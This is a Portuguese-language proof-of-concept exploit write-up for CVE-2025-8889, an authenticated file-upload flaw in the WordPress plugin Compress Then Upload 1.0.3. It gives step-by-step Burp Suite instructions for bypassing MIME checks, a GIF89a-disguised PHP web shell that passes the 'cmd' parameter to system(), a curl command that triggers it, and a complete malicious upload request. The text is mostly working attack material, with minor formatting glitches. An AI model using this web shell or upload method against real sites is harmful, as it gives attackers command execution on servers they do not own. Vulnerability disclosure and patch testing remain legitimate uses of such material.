
Exploit de prova de conceito para CVE-2025-8889: upload arbitrário de arquivo para RCE no plugin WordPress Compress Then Upload 1.0.3. Inclui PoC passo a passo usando Burp Suite para contornar a validação MIME e executar código PHP.
Data: 2025-07-23
Autor do Exploit: Muhammed Çelik
Homepage do Fornecedor: https://wordpress.com/plugins/compress-then-upload
Link do Software: https://downloads.wordpress.org/plugin/compress-then-upload.latest-stable.zip
Versão: 1.0.3
Testado em: Debian, WordPress 6.8.1, Apache 2.4.62, PHP 8.2.28
CVE: CVE-2025-8889
O plugin "Compress Then Upload Images" do WordPress não valida adequadamente as extensões de arquivo e os tipos MIME durante os uploads de imagens por meio de sua interface de upload de mídia. Embora existam validações no lado do cliente, elas podem ser contornadas interceptando e modificando a requisição de upload.
Um usuário autenticado com permissões de upload de mídia (cargo de Autor ou superior) pode explorar isso ao:
Passo 1: Preparar um arquivo de imagem comum
Crie um arquivo de imagem comum, por exemplo, regular.jpg (qualquer arquivo JPG válido).
Passo 2: Fazer upload da imagem comum pelo Painel de Administração do WordPress
regular.jpg normalmente.Passo 3: Interceptar e modificar a requisição de upload com Burp Suite
filename="regular.jpg" → filename="evil.php"GIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
Nota: O GIF89a; simula um cabeçalho GIF válido para burlar validações fracas de imagem.
Mantenha o Content-Type como image/jpeg.
Encaminhe a requisição modificada para o servidor.
Passo 4: Acionar o web shell enviado
Se o upload for bem-sucedido, o arquivo PHP será salvo no diretório uploads, por exemplo:
http://target-site.com/wp-content/uploads/2025/07/evil.php
Acesse via navegador ou curl:
curl "http://target-site.com/wp-content/uploads/2025/07/evil.php?cmd=id"
Exemplo de Requisição de Upload Maliciosa (Burp Suite)
POST /index.php?rest_route=/wpctu-api/v1/upload HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
...
Content-Disposition: form-data; name="file"; filename="evil.php"
Content-Type: image/jpeg
GIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
?>